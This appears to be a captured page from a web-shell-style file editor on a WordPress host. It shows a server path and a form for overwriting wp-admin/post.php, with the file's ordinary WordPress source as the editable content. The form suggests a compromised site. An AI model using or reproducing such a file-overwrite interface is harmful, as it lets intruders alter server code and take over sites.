<h2>File Contents: /home/planet5/www/wp-admin/post.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-admin/post.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . &#039;/admin.php&#039;;

$parent_file  = &#039;edit.php&#039;;
$submenu_file = &#039;edit.php&#039;;

$action = ! empty( $_REQUEST[&#039;action&#039;] ) ? sanitize_text_field( $_REQUEST[&#039;action&#039;] ) : &#039;&#039;;

if ( isset( $_GET[&#039;post&#039;] ) &amp;&amp; isset( $_POST[&#039;post_ID&#039;] ) &amp;&amp; (int) $_GET[&#039;post&#039;] !== (int) $_POST[&#039;post_ID&#039;] ) {
	wp_die( __( &#039;A post ID mismatch has been detected.&#039; ), __( &#039;Sorry, you are not allowed to edit this item.&#039; ), 400 );
} elseif ( isset( $_GET[&#039;post&#039;] ) ) {
	$post_id = (int) $_GET[&#039;post&#039;];
} elseif ( isset( $_POST[&#039;post_ID&#039;] ) ) {
	$post_id = (int) $_POST[&#039;post_ID&#039;];
} else {
	$post_id = 0;
}
$post_ID = $post_id;

/**
 * @global string       $post_type        Global post type.
 * @global WP_Post_Type $post_type_object Global post type object.
 * @global WP_Post      $post             Global post object.
 */
global $post_type, $post_type_object, $post;

if ( $post_id ) {
	$post = get_post( $post_id );
}

if ( $post ) {
	$post_type        = $post-&gt;post_type;
	$post_type_object = get_post_type_object( $post_type );
}

if ( isset( $_POST[&#039;post_type&#039;] ) &amp;&amp; $post &amp;&amp; $post_type !== $_POST[&#039;post_type&#039;] ) {
	wp_die( __( &#039;A post type mismatch has been detected.&#039; ), __( &#039;Sorry, you are not allowed to edit this item.&#039; ), 400 );
}

if ( isset( $_POST[&#039;deletepost&#039;] ) ) {
	$action = &#039;delete&#039;;
} elseif ( isset( $_POST[&#039;wp-preview&#039;] ) &amp;&amp; &#039;dopreview&#039; === $_POST[&#039;wp-preview&#039;] ) {
	$action = &#039;preview&#039;;
}

$sendback = wp_get_referer();
if ( ! $sendback ||
	str_contains( $sendback, &#039;post.php&#039; ) ||
	str_contains( $sendback, &#039;post-new.php&#039; ) ) {
	if ( &#039;attachment&#039; === $post_type ) {
		$sendback = admin_url( &#039;upload.php&#039; );
	} else {
		$sendback = admin_url( &#039;edit.php&#039; );
		if ( ! empty( $post_type ) ) {
			$sendback = add_query_arg( &#039;post_type&#039;, $post_type, $sendback );
		}
	}
} else {
	$sendback = remove_query_arg( array( &#039;trashed&#039;, &#039;untrashed&#039;, &#039;deleted&#039;, &#039;ids&#039; ), $sendback );
}

switch ( $action ) {
	case &#039;post-quickdraft-save&#039;:
		// Check nonce and capabilities.
		$nonce     = $_REQUEST[&#039;_wpnonce&#039;];
		$error_msg = false;

		// For output of the Quick Draft dashboard widget.
		require_once ABSPATH . &#039;wp-admin/includes/dashboard.php&#039;;

		if ( ! wp_verify_nonce( $nonce, &#039;add-post&#039; ) ) {
			$error_msg = __( &#039;Unable to submit this form, please refresh and try again.&#039; );
		}

		if ( ! current_user_can( get_post_type_object( &#039;post&#039; )-&gt;cap-&gt;create_posts ) ) {
			exit;
		}

		if ( $error_msg ) {
			return wp_dashboard_quick_press( $error_msg );
		}

		$post = get_post( $_REQUEST[&#039;post_ID&#039;] );
		check_admin_referer( &#039;add-&#039; . $post-&gt;post_type );

		$_POST[&#039;comment_status&#039;] = get_default_comment_status( $post-&gt;post_type );
		$_POST[&#039;ping_status&#039;]    = get_default_comment_status( $post-&gt;post_type, &#039;pingback&#039; );

		$quickdraft_post_title   = trim( $_POST[&#039;post_title&#039;] );
		$quickdraft_post_content = trim( $_POST[&#039;content&#039;] );

		if ( empty( $quickdraft_post_title ) &amp;&amp; empty( $quickdraft_post_content ) ) {
			return wp_dashboard_quick_press( __( &#039;Cannot create a draft post with empty title and content.&#039; ) );
		}

		// Wrap Quick Draft content in a Paragraph block.
		if (
			use_block_editor_for_post_type( $post-&gt;post_type ) &amp;&amp;
			! empty( $quickdraft_post_content ) &amp;&amp;
			! str_contains( $quickdraft_post_content, &#039;&lt;!-- wp:paragraph --&gt;&#039; )
		) {
			// Note that `edit_post()` reads from the $_POST superglobal by reference.
			$_POST[&#039;content&#039;] = sprintf(
				&#039;&lt;!-- wp:paragraph --&gt;%s&lt;!-- /wp:paragraph --&gt;&#039;,
				str_replace( array( &quot;\r\n&quot;, &quot;\r&quot;, &quot;\n&quot; ), &#039;&lt;br /&gt;&#039;, $quickdraft_post_content )
			);
		}

		edit_post();
		wp_dashboard_quick_press( __( &#039;Draft created successfully.&#039; ), &#039;success&#039; );
		exit;

	case &#039;postajaxpost&#039;:
	case &#039;post&#039;:
		check_admin_referer( &#039;add-&#039; . $post_type );
		$post_id = &#039;postajaxpost&#039; === $action ? edit_post() : write_post();
		redirect_post( $post_id );
		exit;

	case &#039;edit&#039;:
		$editing = true;

		if ( empty( $post_id ) ) {
			wp_redirect( admin_url( &#039;post.php&#039; ) );
			exit;
		}

		if ( ! $post ) {
			wp_die( __( &#039;You attempted to edit an item that does not exist. Perhaps it was deleted?&#039; ), 404 );
		}

		if ( ! $post_type_object ) {
			wp_die( __( &#039;Invalid post type.&#039; ), 400 );
		}

		if ( ! in_array( $typenow, get_post_types( array( &#039;show_ui&#039; =&gt; true ) ), true ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to edit posts in this post type.&#039; ), 403 );
		}

		if ( ! current_user_can( &#039;edit_post&#039;, $post_id ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to edit this item.&#039; ), 403 );
		}

		if ( &#039;trash&#039; === $post-&gt;post_status ) {
			wp_die( __( &#039;You cannot edit this item because it is in the Trash. Please restore it and try again.&#039; ), 409 );
		}

		if ( ! empty( $_GET[&#039;get-post-lock&#039;] ) ) {
			check_admin_referer( &#039;lock-post_&#039; . $post_id );
			wp_set_post_lock( $post_id );
			wp_redirect( get_edit_post_link( $post_id, &#039;url&#039; ) );
			exit;
		}

		$post_type = $post-&gt;post_type;
		if ( &#039;post&#039; === $post_type ) {
			$parent_file   = &#039;edit.php&#039;;
			$submenu_file  = &#039;edit.php&#039;;
			$post_new_file = &#039;post-new.php&#039;;
		} elseif ( &#039;attachment&#039; === $post_type ) {
			$parent_file   = &#039;upload.php&#039;;
			$submenu_file  = &#039;upload.php&#039;;
			$post_new_file = &#039;media-new.php&#039;;
		} else {
			if ( $post_type_object-&gt;show_in_menu &amp;&amp; true !== $post_type_object-&gt;show_in_menu ) {
				$parent_file = $post_type_object-&gt;show_in_menu;
			} else {
				$parent_file = &quot;edit.php?post_type=$post_type&quot;;
			}
			$submenu_file  = &quot;edit.php?post_type=$post_type&quot;;
			$post_new_file = &quot;post-new.php?post_type=$post_type&quot;;
		}

		$title = $post_type_object-&gt;labels-&gt;edit_item;

		/**
		 * Allows replacement of the editor.
		 *
		 * @since 4.9.0
		 *
		 * @param bool    $replace Whether to replace the editor. Default false.
		 * @param WP_Post $post    Post object.
		 */
		if ( true === apply_filters( &#039;replace_editor&#039;, false, $post ) ) {
			break;
		}

		if ( use_block_editor_for_post( $post ) ) {
			require ABSPATH . &#039;wp-admin/edit-form-blocks.php&#039;;
			break;
		}

		if ( ! wp_check_post_lock( $post-&gt;ID ) ) {
			$active_post_lock = wp_set_post_lock( $post-&gt;ID );

			if ( &#039;attachment&#039; !== $post_type ) {
				wp_enqueue_script( &#039;autosave&#039; );
			}
		}

		$post = get_post( $post_id, OBJECT, &#039;edit&#039; );

		if ( post_type_supports( $post_type, &#039;comments&#039; ) ) {
			wp_enqueue_script( &#039;admin-comments&#039; );
			enqueue_comment_hotkeys_js();
		}

		require ABSPATH . &#039;wp-admin/edit-form-advanced.php&#039;;

		break;

	case &#039;editattachment&#039;:
		check_admin_referer( &#039;update-post_&#039; . $post_id );

		// Don&#039;t let these be changed.
		unset( $_POST[&#039;guid&#039;] );
		$_POST[&#039;post_type&#039;] = &#039;attachment&#039;;

		// Update the thumbnail filename.
		$newmeta          = wp_get_attachment_metadata( $post_id, true );
		$newmeta[&#039;thumb&#039;] = wp_basename( $_POST[&#039;thumb&#039;] );

		wp_update_attachment_metadata( $post_id, $newmeta );

		// Intentional fall-through to trigger the edit_post() call.
	case &#039;editpost&#039;:
		check_admin_referer( &#039;update-post_&#039; . $post_id );

		$post_id = edit_post();

		// Session cookie flag that the post was saved.
		if ( isset( $_COOKIE[&#039;wp-saving-post&#039;] ) &amp;&amp; $_COOKIE[&#039;wp-saving-post&#039;] === $post_id . &#039;-check&#039; ) {
			setcookie( &#039;wp-saving-post&#039;, $post_id . &#039;-saved&#039;, time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
		}

		redirect_post( $post_id ); // Send user on their way while we keep working.

		exit;

	case &#039;trash&#039;:
		check_admin_referer( &#039;trash-post_&#039; . $post_id );

		if ( ! $post ) {
			wp_die( __( &#039;The item you are trying to move to the Trash no longer exists.&#039; ), 410 );
		}

		if ( ! $post_type_object ) {
			wp_die( __( &#039;Invalid post type.&#039; ), 400 );
		}

		if ( ! current_user_can( &#039;delete_post&#039;, $post_id ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to move this item to the Trash.&#039; ), 403 );
		}

		$user_id = wp_check_post_lock( $post_id );
		if ( $user_id ) {
			$user = get_userdata( $user_id );
			/* translators: %s: User&#039;s display name. */
			wp_die( sprintf( __( &#039;You cannot move this item to the Trash. %s is currently editing.&#039; ), $user-&gt;display_name ), 409 );
		}

		if ( ! wp_trash_post( $post_id ) ) {
			wp_die( __( &#039;Error in moving the item to Trash.&#039; ), 500 );
		}

		wp_redirect(
			add_query_arg(
				array(
					&#039;trashed&#039; =&gt; 1,
					&#039;ids&#039;     =&gt; $post_id,
				),
				$sendback
			)
		);
		exit;

	case &#039;untrash&#039;:
		check_admin_referer( &#039;untrash-post_&#039; . $post_id );

		if ( ! $post ) {
			wp_die( __( &#039;The item you are trying to restore from the Trash no longer exists.&#039; ), 410 );
		}

		if ( ! $post_type_object ) {
			wp_die( __( &#039;Invalid post type.&#039; ), 400 );
		}

		if ( ! current_user_can( &#039;delete_post&#039;, $post_id ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to restore this item from the Trash.&#039; ), 403 );
		}

		if ( ! wp_untrash_post( $post_id ) ) {
			wp_die( __( &#039;Error in restoring the item from Trash.&#039; ), 500 );
		}

		$sendback = add_query_arg(
			array(
				&#039;untrashed&#039; =&gt; 1,
				&#039;ids&#039;       =&gt; $post_id,
			),
			$sendback
		);
		wp_redirect( $sendback );
		exit;

	case &#039;delete&#039;:
		check_admin_referer( &#039;delete-post_&#039; . $post_id );

		if ( ! $post ) {
			wp_die( __( &#039;This item has already been deleted.&#039; ), 410 );
		}

		if ( ! $post_type_object ) {
			wp_die( __( &#039;Invalid post type.&#039; ), 400 );
		}

		if ( ! current_user_can( &#039;delete_post&#039;, $post_id ) ) {
			wp_die( __( &#039;Sorry, you are not allowed to delete this item.&#039; ), 403 );
		}

		if ( &#039;attachment&#039; === $post-&gt;post_type ) {
			$force = ( ! MEDIA_TRASH );
			if ( ! wp_delete_attachment( $post_id, $force ) ) {
				wp_die( __( &#039;Error in deleting the attachment.&#039; ), 500 );
			}
		} else {
			if ( ! wp_delete_post( $post_id, true ) ) {
				wp_die( __( &#039;Error in deleting the item.&#039; ), 500 );
			}
		}

		wp_redirect( add_query_arg( &#039;deleted&#039;, 1, $sendback ) );
		exit;

	case &#039;preview&#039;:
		check_admin_referer( &#039;update-post_&#039; . $post_id );

		$url = post_preview();

		wp_redirect( $url );
		exit;

	case &#039;toggle-custom-fields&#039;:
		check_admin_referer( &#039;toggle-custom-fields&#039;, &#039;toggle-custom-fields-nonce&#039; );

		$current_user_id = get_current_user_id();
		if ( $current_user_id ) {
			$enable_custom_fields = (bool) get_user_meta( $current_user_id, &#039;enable_custom_fields&#039;, true );
			update_user_meta( $current_user_id, &#039;enable_custom_fields&#039;, ! $enable_custom_fields );
		}

		wp_safe_redirect( wp_get_referer() );
		exit;

	default:
		/**
		 * Fires for a given custom post action request.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the custom post action.
		 *
		 * @since 4.6.0
		 *
		 * @param int $post_id Post ID sent with the request.
		 */
		do_action( &quot;post_action_{$action}&quot;, $post_id );

		wp_redirect( admin_url( &#039;edit.php&#039; ) );
		exit;
} // End switch.

require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;
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